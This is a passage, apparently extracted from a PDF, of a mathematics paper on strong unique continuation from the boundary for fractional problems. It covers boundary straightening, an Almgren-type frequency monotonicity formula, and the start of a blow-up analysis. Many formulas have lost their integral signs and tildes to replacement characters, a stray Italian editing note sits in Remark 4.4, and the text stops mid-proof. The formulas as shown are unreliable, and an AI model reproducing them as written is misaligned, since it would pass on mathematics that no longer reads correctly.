+3. Straightening the boundary
+Let x0 ∈ ∂Ω, R > 0 and g satisfy (10), (11), and (12). Up to a suitable choice of the coordinate
+system, it is not restrictive to assume that
+x0 = 0,
+g(0) = 0,
+∇g(0) = 0.
+We use the local diffeomorphism F constructed in [9, Section 2] (see also [2]) to straighten the
+boundary of CΩ in a neighbourhood of 0; for the sake of clarity and completeness we summarize
+its properties in Propositions 3.1 and 3.2 below, referring to [9, Section 2] for their proofs. We
+consider the variable z = (y, t) ∈ RN × [0, ∞) with y = (y′, yN) = (y1, · · · , yN).
+For future
+reference we define
+(34)
+MN :=
+
+
+IdN−1
+0
+0
+0
+−1
+0
+0
+0
+1
+
+ ,
+M ′
+N :=
+� IdN−1
+0
+0
+−1
+�
+,
+where IdN−1 is the identity (N − 1) × (N − 1) matrix.
+
+STRONG UNIQUE CONTINUATION FROM THE BOUNDARY
+9
+Proposition 3.1. [9, Section 2] There exist F = (F1, . . . , FN+1) ∈ C1,1(RN+1, RN+1) and r0 > 0
+such that F
+��
+Br0 : Br0 → F(Br0) is a diffeomorphism of class C1,1,
+F(y′, 0, 0) = (y′, g(y′), 0)
+for all y′ ∈ RN−1,
+FN(y′, yN, t) = yN + g(y′)
+for all (y′, yN, t) ∈ RN−1 × R × R,
+FN+1(y, t) = t,
+for all (y, t) ∈ RN × R,
+α(y, t) := det JF (y, t) > 0
+in Br0,
+and
+F({(y′, yN, t) ∈ B+
+r0 : yN = 0}) = ∂LCΩ ∩ F(B+
+r0),
+(35)
+F({(y′, yN, t) ∈ B+
+r0 : yN < 0}) = CΩ ∩ F(B+
+r0),
+(36)
+where ∂LCΩ is defined in (14) and JF (y, t) is the Jacobian matrix of F. Furthermore the following
+properties hold:
+i) JF depends only on the variable y and
+JF (y′, yN) = JF (y) = IdN+1 + O(|y|)
+as |y| → 0+,
+where IdN+1 denotes the identity (N + 1) × (N + 1) matrix and O(|y|) denotes a matrix with
+all entries being O(|y|) as |y| → 0+;
+ii) α(y) = det JF (y) = 1 + O(|y′|2) + O(yN) as |y′| → 0+ and yN → 0;
+iii)
+∂Fi
+∂t = ∂FN+1
+∂yi
+= 0 for any i = 1, . . . , N and ∂FN+1
+∂t
+= 1.
+For every r > 0, let
+(37)
+Qr := {(y′, yN, t) ∈ B+
+r : yN < 0},
+so that F(Qr0) = CΩ∩F(B+
+r0) in view of (36). If U ∈ H1
+0,L(CΩ, t1−2s) solves (17), then the function
+(38)
+W = U ◦ F ∈ H1(Qr0, t1−2s)
+is a weak solution to
+(39)
+�
+div(t1−2sA∇W) = 0,
+in Qr0,
+− limt→0+ t1−2sα ∂W
+∂t = κs,N¯hW,
+on Q′
+r0,
+where Q′
+r := {(y′, yN) ∈ B′
+r : yN < 0} for all r > 0, A = A(y) is the (N +1)×(N +1) matrix-valued
+function given by
+A(y) := (JF (y))−1(JF (y)−1)T |detJF (y)|,
+and
+(40)
+¯h(y) = α(y)h(F(y, 0)).
+As observed in [9, Section 2], A has C0,1 entries
+�
+aij
+�N+1
+i,j=1 and can be written as
+(41)
+A(y) = A(y′, yN) =
+� D(y′, yN)
+0
+0
+α(y′, yN)
+�
+,
+with
+(42)
+D(y′, yN) =
+� IdN−1 +O(|y′|2) + O(yN)
+O(yN)
+O(yN)
+1 + O(|y′|2) + O(yN)
+�
+,
+where IdN−1 is the identity (N −1)×(N −1) matrix, O(yN) and O(|y′|2) denote blocks of matrices
+with all elements being O(yN) as yN → 0 and O(|y′|2) as |y′| → 0 respectively. In particular, in
+view of (41)-(42) we have that
+(43)
+aNj(y′, 0) = ajN(y′, 0) = 0
+for all j = 1, . . . , N − 1.
+
+10
+ALESSANDRA DE LUCA, VERONICA FELLI, AND GIOVANNI SICLARI
+Having in mind to reflect our problem through the hyperplane yN = 0, we define
+�A(y′, yN) :=
+�
+A(y′, yN),
+if yN ≤ 0,
+MNA(y′, −yN)MN,
+if yN > 0,
+(44)
+�D(y′, yN) :=
+�
+D(y′, yN),
+if yN ≤ 0,
+M ′
+ND(y′, −yN)M ′
+N,
+if yN > 0,
+(45)
+with MN, M ′
+N as in (34), and
+(46)
+�α(y′, yN) :=
+�
+α(y′, yN),
+if yN ≤ 0,
+α(y′, −yN),
+if yN > 0,
+where α(y) = det JF (y). We observe that the Lipschitz continuity of A and (43) imply that the
+entries of �A are of class C0,1. Furthermore, �A is symmetric and, possibly choosing r0 smaller from
+the beginning,
+(47)
+∥ �A(y)∥L(RN+1,RN+1) ≤ 2
+and
+1
+2|z|2 ≤ �A(y)z · z ≤ 2|z|2
+for all z ∈ RN+1, y ∈ B′r0,
+where ∥·∥L(RN+1,RN+1) denotes the operator norm on the space of bounded linear operators from
+RN+1 into itself. We also observe that (41)-(42) imply the expansion
+(48)
+�A(y) = IdN+1 +O(|y|)
+as |y| → 0+.
+Letting �A and �D be as in (44)-(45), we define
+(49)
+µ(z) :=
+�A(y)z · z
+|z|2
+and
+β(z) :=
+�A(y)z
+µ(z)
+for every z = (y, t) ∈ B+
+r0 \ {0},
+and
+(50)
+β′(y) :=
+�D(y)y
+µ(y, 0)
+for every y ∈ B′r0.
+For every z = (z1, . . . , zN+1) ∈ RN+1 and y ∈ B′r0, d �A(y)zz is defined as the vector of RN+1 with
+i-th component given by
+(51)
+(d �A(y)zz)i =
+N+1
+�
+h,k=1
+∂�akh
+∂zi
+(y)zhzk,
+i = 1, · · · , N + 1,
+where (�ak,h)N+1
+k,h=1 are the entries of the matrix �A = in (44).
+Proposition 3.2. Let µ, β, and β′ be as in (49)-(50). Then, possibly choosing r0 smaller from
+the beginning, we have that
+1
+2 ≤ µ(z) ≤ 2
+for any z ∈ B+
+r0 \ {0},
+(52)
+µ(z) = 1 + O(|z|),
+∇µ(z) = O(1)
+as |z| → 0+.
+(53)
+Moreover β and β′ are well-defined and
+β(z) = z + O(|z|2) = O(|z|)
+as |z| → 0+,
+(54)
+Jβ(z) = �A(y) + O(|z|) = IdN+1 +O(|z|),
+div(β)(z) = N + 1 + O(|z|)
+as |z| → 0+,
+(55)
+β′(y) = y + O(|y|2) = O(|y|),
+div(β′)(y) = N + O(|y|)
+as |y| → 0+, .
+(56)
+Proof. (52) easily follows from (47). We refer to [9, Lemma 2.1] for the proof of (53). As a direct
+consequence, β and β′ are well-defined. From (54) and (55), whose proof is contained in [9, Lemma
+2.2], we derive (56), after noting that β′ coincides with the first N-components of the vector β.
+□
+
+STRONG UNIQUE CONTINUATION FROM THE BOUNDARY
+11
+Remark 3.3. From the Lipschitz continuity of �A observed above and Proposition 3.2 we have
+that
+�A ∈ C0,1(B+
+r0, R(N+1)2), µ ∈ C0,1(B+
+r0), 1
+µ ∈ C0,1(B+
+r0), β ∈ C0,1(B+
+r0, RN+1)
+(57)
+Jβ ∈ L∞(B+
+r0, R(N+1)2), div(β) ∈ L∞(B+
+r0), β′ ∈ L∞(B′r0, RN), div(β′) ∈ L∞(B′r0).
+Remark 3.4. If v ∈ H1
+0,L(CΩ, t1−2s), then (v ◦ F)|Qr0 ∈ H1(Qr0, t1−2s) by Proposition 3.1, and
+(58)
+(v ◦ F)(z) = 0
+for any z ∈ {(y′, yN, t) ∈ B+
+r0 : yN = 0}
+in view of (35). Equality (58) is meant in the sense of the classical theory of traces for Sobolev
+spaces; this is possible thanks to the fact that H1(E, t1−2s) ⊂ W 1,1(E) for any bounded open set
+E ⊆ RN × (0, ∞).
+If W is a solution to (39), let �
+W be defined as follows
+�
+W(y′, yN, t) :=
+�
+W(y′, yN, t),
+if (y′, yN, t) ∈ Qr0,
+−W(y′, −yN, t),
+if (y′, yN, t) ∈ B+
+r0 and yN > 0.
+(59)
+For the sake of convenience we will still denote �
+W with W. Letting ¯h be defined in (40), we also
+consider the following function
+(60)
+�h(y′, yN) :=
+�¯h(y′, yN),
+if (y′, yN) ∈ Q′
+r0,
+¯h(y′, −yN),
+if (y′, yN) ∈ B′
+r0, and yN > 0.
+It is easy to verify that W ∈ H1(B+
+r0, t1−2s) thanks to Remark 3.4 and
+(61)
+�h ∈ W 1, N
+2s +ε(B′
+r0)
+thanks to (7), (40) and Proposition 3.1. Furthermore W weakly solves
+(62)
+�
+div(t1−2s �A∇W) = 0,
+on B+
+r0,
+− limt→0+ t1−2s�α ∂W
+∂t = κs,N�h Tr(W),
+on B′
+r0,
+with �α defined in (46), �h in (60) and �A in (44), namely
+(63)
+�
+B+
+r0
+t1−2s �A∇W · ∇φ dz = κs,N
+�
+B′r0
+�h Tr(W) Tr(φ) dy
+for all φ ∈ H1
+0,S+
+r0(B+
+r1, t1−2s).
+Thanks to Proposition 2.2, (61) and the H¨older inequality, the second member of (63) is well-
+defined.
+Remark 3.5. In [12, Theorem 2.1] it is proved that, if W ∈ H1(B+
+r0, t1−2s) is a weak solution to
+(63) with �A and �h satisfying (41), (44), (57), (52), (61), then
+(64)
+∇xW ∈ H1(B+
+r , t1−2s)
+and
+t1−2s ∂W
+∂t ∈ H1(B+
+r , t2s−1)
+for all r ∈ (0, r0). Furthermore
+∥∇xW∥H1(B+
+r ,t1−2s) +
+����t1−2s ∂W
+∂t
+����
+H1(B+
+r ,t2s−1)
+≤ C ∥W∥H1(B+
+r0 ,t1−2s)
+for a positive constant C > 0 depending only on N, s, r, r0, ∥�h∥W 1, N
+2s (B′
+r0), ∥ �A∥W 1,∞(B+
+r0 ,R(N+1)2)
+(but independent of W).
+Remark 3.6. If W ∈ H1(B+
+r0, t1−2s) is a weak solution to (63), the regularity result (64) and
+(28) ensure that, for all φ ∈ H1(B+
+r0, t1−2s) and r ∈ (0, r0), t1−2s Tr1( �D∇xW · x) Tr1 φ ∈ L1(S+
+r );
+moreover the function
+r �→
+�
+S+
+r
+t1−2s( �D∇xW · x)φ dS
+
+12
+ALESSANDRA DE LUCA, VERONICA FELLI, AND GIOVANNI SICLARI
+is continuous in (0, r0). Furthermore, since t1−2s ∂W
+∂t ∈ H1(B+
+r , t2s−1) for all r ∈ (0, r0) by (64),
+we also have that, for all φ ∈ H1(B+
+r0, t1−2s) and r ∈ (0, r0), t1−2s�α ∂W
+∂t tφ ∈ W 1,1(B+
+r ), so that
+Tr1(t1−2s�α ∂W
+∂t tφ) ∈ L1(S+
+r ); moreover the function
+r �→
+�
+S+
+r
+t1−2s�α∂W
+∂t tφ dS
+is continuous in (0, r0). We conclude that, for all φ ∈ H1(B+
+r0, t1−2s), the function
+t1−2s( �A∇W · z)φ = t1−2s( �D∇xW · x)φ + t1−2s�α∂W
+∂t tφ
+has a trace on S+
+r for all r ∈ (0, r0) and the function
+r �→
+�
+S+
+r
+t1−2s( �A∇W · z)φ dS
+is continuous in (0, r0).
+The following result provides an integration by parts formula which will be useful in Section 5.
+Proposition 3.7. Let W be a weak solution to (62). For all r ∈ (0, r0) and φ ∈ H1(B+
+r0, t1−2s)
+(65)
+�
+B+
+r
+t1−2s �A∇W · ∇φ dz = 1
+r
+�
+S+
+r
+t1−2s( �A∇W · z)φ dS + κs,N
+�
+B′r
+�h Tr(W) Tr(φ) dx.
+Proof. By density it is enough to prove (65) for φ ∈ C∞(B+
+r0). Let r ∈ (0, r0). For every n ∈ N,
+let
+ηn(z) :=
+
+
+
+
+
+1,
+if
+0 ≤ |z| ≤ r − 1
+n,
+n(r − |z|),
+if
+r − 1
+n ≤ |z| ≤ r,
+0,
+if
+|z| ≥ r.
+Testing (63) with φηn and passing to the limit as n → ∞, we obtain (65) thanks to the integral
+mean value theorem and Remark 3.6.
+□
+Remark 3.8. For all r ∈ (0, r0] and any v ∈ H1(B+
+r , t1−2s), thanks to (30), (47) and (52),
+�
+B+
+r
+t1−2s|∇v|2 dz ≤ 2
+�
+B+
+r
+t1−2s �A∇v · ∇v dz − 2κN,s
+�
+B′r
+�h| Tr(v)|2 dx
++ 2κN,sη˜h(r)
+��
+B+
+r
+t1−2s|∇v|2 dz + N − 2s
+r
+�
+S+
+r
+t1−2sµv2 dS
+�
+.
+Therefore, if η˜h(r) <
+1
+2κN,s ,
+(66)
+�
+B+
+r
+t1−2s|∇v|2 dz ≤
+2
+1 − 2κN,sη˜h(r)
+��
+B+
+r
+t1−2s �A∇v · ∇v dz − κN,s
+�
+B′r
+�h| Tr(v)|2 dx
+�
++ 2(N − 2s)κN,sη˜h(r)
+(1 − 2κN,sη˜h(r))r
+�
+S+
+r
+t1−2sµv2 dS.
+4. The Monotonicity Formula
+Let W be a non trivial weak solution of (62). For any r ∈ (0, r0] we define the height function
+and the energy function as
+H(r) :=
+1
+rN+1−2s
+�
+S+
+r
+t1−2sµW 2 dS,
+(67)
+D(r) :=
+1
+rN−2s
+��
+B+
+r
+t1−2s �A∇W · ∇W dz − κN,s
+�
+B′r
+�h| Tr W|2 dx
+�
+,
+(68)
+
+STRONG UNIQUE CONTINUATION FROM THE BOUNDARY
+13
+respectively. Eventually choosing r0 smaller from the beginning, we may assume that
+(69)
+η˜h(r) <
+1
+4κN,s
+for all r ∈ (0, r0],
+so that (66) holds for every r ∈ (0, r0].
+Proposition 4.1. Let H and D be as in (67) and (68). Then H ∈ W 1,1
+loc ((0, r0]) and
+(70)
+H′(r) =
+2
+rN+1−2s
+�
+S+
+r
+t1−2sµW ∂W
+∂ν dS + H(r)O(1)
+as r → 0+
+in the sense of distributions and almost everywhere, where ν is the outer normal vector to B+
+r on
+S+
+r , i.e. ν(z) :=
+z
+|z|. Moreover, we have that almost everywhere
+(71)
+H′(r) =
+2
+rN+1−2s
+�
+S+
+r
+t1−2s( �A∇W · ν)W dS + H(r)O(1)
+as r → 0+
+and
+(72)
+H′(r) = 2
+r D(r) + H(r)O(1)
+as r → 0+.
+Proof. The proof is similar to that of [9, Lemma 3.1] thus we omit it.
+□
+Proposition 4.2. We have that H(r) > 0 for every r ∈ (0, r0].
+Proof. Let us assume by contradiction that there exists r ∈ (0, r0] such that H(r) = 0. Then,
+from (67) and (52) we deduce that W ≡ 0 on S+
+r . Thus we can test (63) with W, obtaining that
+0 =
+�
+B+
+r
+t1−2s �A∇W · ∇W dz − κN,s
+�
+B′r
+�h| Tr(W)|2 dx
+≥
+�1
+2 − κN,sη˜h(r)
+�
+∥∇W∥2
+L2(B+
+r ,t1−2s) ,
+thanks to (66). Then, by (69) we can conclude that W ≡ 0 on B+
+r ; this implies that W ≡ 0 on
+B+
+r0 by classical unique continuation principles for second order elliptic operators with Lipschitz
+coefficients (see e.g. [13]), giving rise to a contradiction.
+□
+The following proposition contains a Pohozaev-type identity for problem (62). For its proof
+we refer to [12, Proposition 2.3], where a more general version is established exploiting some
+Sobolev-type regularity results.
+Proposition 4.3. [12, Proposition 2.3] Let W be a weak solution to equation (62). Then, for a.e.
+r ∈ (0, r0),
+�
+S+
+r
+t1−2s �A∇W · ∇W dS − κN,s
+�
+S′r
+�h| Tr(W)|2 dS′
+(73)
+= 2
+�
+S+
+r
+t1−2s | �A∇W · ν|2
+µ
+dS − κN,s
+r
+�
+B′r
+(divy(β′)�h + β′ · ∇�h)| Tr(W)|2 dy
++ 1
+r
+�
+B+
+r
+t1−2s �A∇W · ∇W div(β) dz − 2
+r
+�
+B+
+r
+t1−2sJβ( �A∇W) · ∇W dz
++ 1
+r
+�
+B+
+r
+t1−2s(d �A ∇W ∇W) · β dz + 1 − 2s
+r
+�
+B+
+r
+t1−2s �α
+µ
+�A∇W · ∇W dz,
+where µ and β are defined in (49), �α in (46), β′ in (50), ν is the outer normal vector to B+
+r on
+S+
+r , i.e. ν(z) =
+z
+|z|, and dS′ denotes the volume element on (N − 1)-dimensional spheres.
+Remark 4.4. As in Remark 3.6, by the Coarea Formula we have that
+�
+B′
+r0
+|�h|| Tr(W)|2 dx =
+� r0
+0
+��
+S′
+ρ
+|�h|| Tr(W)|2 dS′
+�
+dρ,
+
+14
+ALESSANDRA DE LUCA, VERONICA FELLI, AND GIOVANNI SICLARI
+S′
+ρ era gi`a stata definita hence ρ →
+�
+S′ρ
+�h| Tr(W)|2 dS′ is a well-defined L1(0, r0)-function, as a
+consequence of (61), (29) and the H¨older inequality.
+Proposition 4.5. Let D be as in (68). Then D ∈ W 1,1
+loc ((0, r0]) and
+(74)
+D′(r) = 2r2s−N
+�
+S+
+r
+t1−2s | �A∇W · ν|2
+µ
+dS + O
+�
+r−1+
+4s2ε
+N+2sε
+� �
+D(r) + N − 2s
+2
+H(r)
+�
+as r → 0+, in the sense of distributions and almost everywhere.
+Proof. By the Coarea Formula D ∈ W 1,1
+loc ((0, r0]) and
+(75)
+D′(r) = (2s − N)r2s−N−1
+��
+B+
+r
+t1−2s �A∇W · ∇W dz − κN,s
+�
+B′r
+�h| Tr(W)|2 dx
+�
++ r2s−N
+��
+S+
+r
+t1−2s �A∇W · ∇W dS − κN,s
+�
+S′r
+�h| Tr(W)|2 dS′
+�
+a.e. and in the sense of distributions in (0, r0). Using (73) to estimate the second term on the
+right hand side of (75), we have that, for a.e. r ∈ (0, r0),
+D′(r) = (2s − N)r2s−N−1
+��
+B+
+r
+t1−2s �A∇W · ∇W dz − κN,s
+�
+B′
+r
+�h| Tr(W)|2 dx
+�
+(76)
++ r2s−N
+�
+2
+�
+S+
+r
+t1−2s | �A∇W · ν|2
+µ
+dS − κN,s
+r
+�
+B′r
+(divy(β′)�h + β′ · ∇�h)| Tr(W)|2 dy
+�
++ r2s−N
+�1
+r
+�
+B+
+r
+t1−2s �A∇W · ∇W div(β) dz − 2
+r
+�
+B+
+r
+t1−2sJβ( �A∇W) · ∇W dz
+�
++ r2s−N
+�1
+r
+�
+B+
+r
+t1−2s(d �A∇W∇W) · β dz + 1 − 2s
+r
+�
+B+
+r
+t1−2s �α
+µ
+�A∇W · ∇W dz
+�
+.
+Furthermore, thanks to point ii) of Proposition 3.1, (46), (47), (52), (53), (54), (55), and (66), we
+deduce that
+r2s−N−1
+�
+B+
+r
+t1−2s ��
+2s − N + div(β) + (1 − 2s) �α
+µ
+�
+�A∇W · ∇W − 2Jβ( �A∇W) · ∇W
+�
+dz
+(77)
++ r2s−N−1
+�
+B+
+r
+t1−2s(d �A ∇W ∇W) · β dz = O(r) r2s−N−1
+�
+B+
+r
+t1−2s|∇W|2 dz
+= O(1)
+�
+D(r) + N − 2s
+2
+H(r)
+�
+as r → 0+,
+where we used also the fact that d �A ∇W ∇W = O(1)|∇W|2 as r → 0+ by (51) and (57).
+In addition, recalling that ˜h ∈ W 1, N
+2s +ε(B′
+r1), from (30), (31), (57) and (66) it follows that
+(78)
+r2s−N−1
+�
+B′r
+[(2s − N + divy(β′))�h + β′ · ∇�h]| Tr(W)|2 dx
+= O
+�
+r−1+
+4s2ε
+N+2sε
+� �
+D(r) + N − 2s
+2
+H(r)
+�
+as r → 0+. Combining (76), (77) and (78), we obtain (74).
+□
+For every r ∈ (0, r0] we define the frequency function
+(79)
+N(r) := D(r)
+H(r).
+Definition (79) is well-posed thanks to Proposition 4.2.
+
+STRONG UNIQUE CONTINUATION FROM THE BOUNDARY
+15
+Proposition 4.6. We have that N ∈ W 1,1
+loc ((0, r0]) and
+(80)
+N(r) > −N − 2s
+2
+for every r ∈ (0, r0].
+Furthermore, if ν(z) :=
+z
+|z| is the outer normal vector to B+
+r on S+
+r and
+V(r) := 2r
+��
+S+
+r t1−2sµW 2 dS
+� ��
+S+
+r t1−2s |A∇W·ν|2
+µ
+dS
+�
+−
+��
+S+
+r t1−2sWA∇W · ν dS
+�2
+��
+S+
+r t1−2sµW 2 dS
+�2
+,
+then
+(81)
+V(r) ≥ 0
+for a.e. r ∈ (0, r0)
+and, for a.e. r ∈ (0, r0),
+(82)
+N ′(r) − V(r) = O
+�
+r−1+
+4s2ε
+N+2sε
+� �
+N(r) + N − 2s
+2
+�
+as r → 0+.
+Proof. Since D ∈ W 1,1
+loc ((0, r0]) and 1
+H ∈ W 1,1
+loc ((0, r0]) by Proposition 4.1 and Proposition 4.2, then
+N ∈ W 1,1
+loc ((0, r0]). Furthermore we recall that (66) holds for every r ∈ (0, r1], thus
+(83)
+N(r) ≥ −κN,s(N − 2s)η˜h(r),
+for every r ∈ (0, r0] and, in virtue of this, (80) directly follows from (69). Moreover (81) is a
+consequence of the Cauchy-Schwarz inequality in L2(S+
+r , t1−2s).
+From (71), (72) and (74) we
+deduce that
+N ′(r) =D′(r)H(r) − D(r)H′(r)
+(H(r))2
+= D′(r)H(r) − r
+2(H′(r))2 + O(r)H(r)H′(r)
+(H(r))2
+(84)
+=V(r) + O(r) + O(r−1+
+4s2ε
+N+2sε )
+�
+N(r) + N − 2s
+2
+�
++ O(r−N+2s)
+H(r)
+�
+S+
+r
+t1−2s(A∇W · ν)W dS
+as r → 0+. In order to deal with the last term in (84), we observe that, for a.e. r ∈ (0, r0),
+�
+S+
+r
+t1−2s(A∇W · ν)W dS = rN−2sD(r) + H(r)O(rN+1−2s)
+as r → 0+,
+in virtue of (71) and (72). Thus, substituting into (84), we conclude that
+N ′(r) = V(r) + O(r−1+
+4s2ε
+N+2sε )
+�
+N(r) + N − 2s
+2
+�
+as r → 0+,
+where we have used that
+4s2ε
+N+2sε < 1 since ε ∈ (0, 1) and N > 2s.
+Estimate (82) is thereby
+proved.
+□
+Proposition 4.7. There exists a constant C > 0 such that, for every r ∈ (0, r0],
+(85)
+N(r) ≤ C.
+Proof. From (81) and (82) we deduce that there exists a constant c > 0 such that
+(86)
+�
+N(r) + N − 2s
+2
+�′
+≥ −c r−1+
+4s2ε
+N+2sε
+�
+N(r) + N − 2s
+2
+�
+for a.e. r ∈ (0, r1),
+for some r1 ∈ (0, r0) sufficiently small.
+Hence, thanks to (80), we are allowed to divide each
+member of (86) by N(r) + N−2s
+2
+, obtaining that
+�
+log
+�
+N(r) + N − 2s
+2
+��′
+≥ −c r−1+
+4s2ε
+N+2sε
+for a.e. r ∈ (0, r1).
+
+16
+ALESSANDRA DE LUCA, VERONICA FELLI, AND GIOVANNI SICLARI
+Then, integrating over (r, r1) with r < r1, we have that
+N(r) ≤ −N − 2s
+2
++ exp
+�
+c N + 2sε
+4s2ε
+r
+4s2ε
+N+2sε
+1
+� �
+N(r1) + N − 2s
+2
+�
+for every r ∈ (0, r1),
+which proves (85), taking into account the continuity of N in (0, r0].
+□
+Proposition 4.8. There exists the limit
+(87)
+γ := lim
+r→0+ N(r).
+Moreover γ is finite and γ ≥ 0.
+Proof. Combining (85) and (86), we infer that
+(88)
+�
+N(r) + N − 2s
+2
+�′
+≥ −c r−1+
+4s2ε
+N+2sε
+�
+C + N − 2s
+2
+�
+for a.e. r ∈ (0, r1), hence
+�N − 2s
+2
++ N(r) + c
+�N − 2s
+2
++ C
+� N + 2sε
+4s2ε
+r
+4s2ε
+N+2sε
+�′
+≥ 0
+for a.e. r ∈ (0, r1).
+From this, it follows in particular that the limit γ in (87) exists. Moreover, by (80) and (85) γ is
+finite, whereas (83) implies that γ ≥ 0.
+□
+Proposition 4.9. There exist c0, ¯c > 0 and ¯r ∈ (0, r0) such that
+(89)
+H(r) ≤ c0 r2γ
+for all r ∈ (0, r0]
+and
+(90)
+H(Rr) ≤ R¯c H(r)
+for all R ≥ 1 and r ∈
+�
+0, ¯r
+R
+�
+.
+Furthermore, for any σ > 0 there exists a constant cσ > 0 such that
+(91)
+H(r) ≥ cσr2γ+σ
+for all r ∈ (0, r0].
+Proof. By (87) we have that N(r) = γ + � r
+0 N ′(t) dt; hence from (72) it follows that
+(92)
+H′(r)
+H(r) = 2
+r N(r) + O(1) = 2
+r
+� r
+0
+N ′(t) dt + 2γ
+r + O(1).
+From (88) and up to choosing r1 smaller, it follows that, for a.e. r ∈ (0, r1),
+H′(r)
+H(r) ≥ −κr−1+
+4s2ε
+N+2sε + 2γ
+r
+for some positive constant κ > 0. Then an integration over (r, r1) yields
+log
+�H(r1)
+H(r)
+�
+≥ −κN + 2sε
+4s2ε
+�
+r
+4s2ε
+N+2sε
+1
+− r
+4s2ε
+N+2sε
+�
++ log
+�r1
+r
+�2γ
+and thus
+H(r) ≤ H(r1)
+r2γ
+1
+exp
+�
+κN + 2sε
+4s2ε
+r
+4s2ε
+N+2sε
+1
+�
+r2γ
+for all r ∈ (0, r1], thus implying (89) thanks to the continuity of H in (0, r0].
+To prove (90), we observe that (92) and (85) imply that, for some ¯r ∈ (0, r0) and ¯c > 0,
+H′(r)
+H(r) ≤ ¯c
+r
+for all r ∈ (0, ¯r),
+whose integration over (r, rR) directly gives (90).
+In view of Proposition 4.8, for any σ > 0 there exists rσ ∈ (0, r0] such that
+H′(r)
+H(r) = 2
+r N(r) + O(1) ≤ 2γ + σ
+r
+for all r ∈ (0, rσ].
+Integrating over (r, rσ) and recalling that H is continuous in (0, r0], we deduce (91).
+□
+
+STRONG UNIQUE CONTINUATION FROM THE BOUNDARY
+17
+Proposition 4.10. There exists the limit limr→0+ r−2γH(r) and it is finite.
+Proof. By (89) it is sufficient to show that the limit does exist. In view of (72) we have that
+�H(r)
+r2γ
+�′
+= r2γH′(r) − 2γr2γ−1H(r)
+r4γ
+= 2r−2γ−1(D(r) − γH(r)) + r−2γO(1)H(r)
+= 2r−2γ−1H(r) (N(r) − γ + rO(1))
+= 2r−2γ−1H(r)
+�� r
+0
+[N ′(t) − V(t)] dt +
+� r
+0
+V(t) dt + rO(1)
+�
+as r → 0+. Integrating over (r, ˜r) with ˜r ∈ (0, r0) small, we obtain that
+H(˜r)
+˜r2γ
+− H(r)
+r2γ
+=
+� ˜r
+r
+2ρ−2γ−1H(ρ)
+�� ρ
+0
+V(t) dt
+�
+dρ
+(93)
++
+� ˜r
+r
+�
+2ρ−2γH(ρ)O(1) + 2ρ−2γ−1H(ρ)
+�� ρ
+0
+[N ′(t) − V(t)] dt
+��
+dρ.
+Letting
+f(ρ) := 2ρ−2γH(ρ)O(1) + 2ρ−2γ−1H(ρ)
+�� ρ
+0
+[N ′(t) − V(t)] dt
+�
+,
+from (82), (85) and (89) it follows that f ∈ L1(0, ˜r) and hence there exists the limit
+lim
+r→0+
+� ˜r
+r
+f(ρ) dρ =
+� ˜r
+0
+f(ρ) dρ < +∞.
+On the other hand, in view of (81), there exists the limit
+lim
+r→0+
+� ˜r
+r
+2ρ−2γ−1H(ρ)
+�� ρ
+0
+V(t) dt
+�
+dρ.
+Therefore we can conclude thanks to (93).
+□
+5. The blow-up analysis
+In the present section, we aim to classify the possible vanishing orders of solutions to (62). To
+this purpose, let W be a non trivial weak solution to (62) and H be defined in (67). For any
+λ ∈ (0, r0], we consider the function
+(94)
+V λ(z) := W(λz)
+�
+H(λ)
+.
+It is easy to verify that V λ weakly solves
+�
+div(t1−2s �A(λ·)∇V λ) = 0,
+on B+
+r0λ−1,
+− limt→0+ t1−2s�α(λ·) ∂V λ
+∂t
+= κs,Nλ2s�h(λ·) Tr(V λ),
+on B′
+r0λ−1,
+where we have defined �α in (46). It follows that, for any λ ∈ (0, r0],
+(95)
+�
+B+
+1
+t1−2s �A(λ·)∇V λ · ∇φ dz − κs,Nλ2s
+�
+B′
+1
+�h(λ·) Tr(V λ) Tr(φ) dy = 0
+for every φ ∈ H1
+0,S+
+1 (B+
+1 , t1−2s). Furthermore by (67) and (94)
+(96)
+�
+S+ θ1−2s
+N+1 µ(λθ)|V λ(θ)|2 dS = 1
+for any λ ∈ (0, r0].
+Proposition 5.1. For every R ≥ 1, the family of functions {V λ : λ ∈ (0, ¯r
+R]} is bounded in
+H1(B+
+R, t1−2s).
+
+18
+ALESSANDRA DE LUCA, VERONICA FELLI, AND GIOVANNI SICLARI
+Proof. By (66) and (90) we have that, for all λ ∈ (0, ¯r
+R] with ¯r as in Lemma 4.9,
+�
+B+
+R
+t1−2s|∇V λ|2 dz = λ2s−N
+H(λ)
+�
+B+
+λR
+t1−2s|∇W|2 dz ≤ λ2s−NR¯c
+H(λR)
+�
+B+
+λR
+t1−2s|∇W|2 dz
+≤
+2R¯c+N−2s
+1 − 2κN,sη˜h(λR)N(λR) + 2(N − 2s)R¯c+N−2sκN,sη˜h(λR)
+1 − 2κN,sη˜h(λR)
+,
+which, together with (69) and (85), allows us to deduce that {∇V λ : λ ∈ (0, ¯r
+R]} is uniformly
+bounded in L2(B+
+R, t1−2s). On the other hand, (52), a scaling argument, and (90) imply that
+�
+S+
+R
+t1−2s|V λ|2dS = λ−N−1+2s
+H(λ)
+�
+S+
+Rλ
+t1−2sW 2dS ≤ 2RN+1−2s H(Rλ)
+H(λ) ≤ 2RN+1−2s+¯c,
+so that the claim follows from (33).
+□
+Proposition 5.2. Let W be a non trivial weak solution to (62). Let γ be as in Proposition 4.8.
+There exists m0 ∈ N \ {0} (which is odd in the case N = 1) such that
+(97)
+γ = m0.
+Furthermore, for any sequence {λn} such that λn → 0+ as n → ∞, there exist a subsequence {λnk}
+and an eigenfunction Ψ of problem (19) associated with the eigenvalue µm0 = m2
+0 + m0(N − 2s)
+such that ∥Ψ∥L2(S+,θ1−2s
+N+1 ) = 1 and
+(98)
+W(λnkz)
+�
+H(λnk)
+→ |z|γΨ
+� z
+|z|
+�
+as k → +∞
+strongly in H1(B+
+1 , t1−2s).
+Proof. Let W be a non trivial weak solution to (62) and {λn} be a sequence such that λn → 0+
+as n → +∞. Thanks to Proposition 5.1, there exist a subsequence {λnk} and V ∈ H1(B+
+1 , t1−2s)
+such that
+(99)
+V λnk ⇀ V
+weakly in H1(B+
+1 , t1−2s) as k → +∞.
+Observing that λnk ∈ (0, r0) and thus B+
+1 ⊂ B+
+r0/λnk for sufficiently large k, from (95) we deduce
+that, for sufficiently large k,
+(100)
+�
+B+
+1
+t1−2s �A(λnk·)∇V λnk · ∇φ dz = κs,Nλ2s
+nk
+�
+B′
+1
+�h(λnk·) Tr(V λnk ) Tr(φ) dy
+for every φ ∈ H1
+0,S+
+1 (B+
+1 , t1−2s). In order to study what happens as k → +∞, we notice that the
+term on the left hand side of (100) can be rewritten as follows
+�
+B+
+1
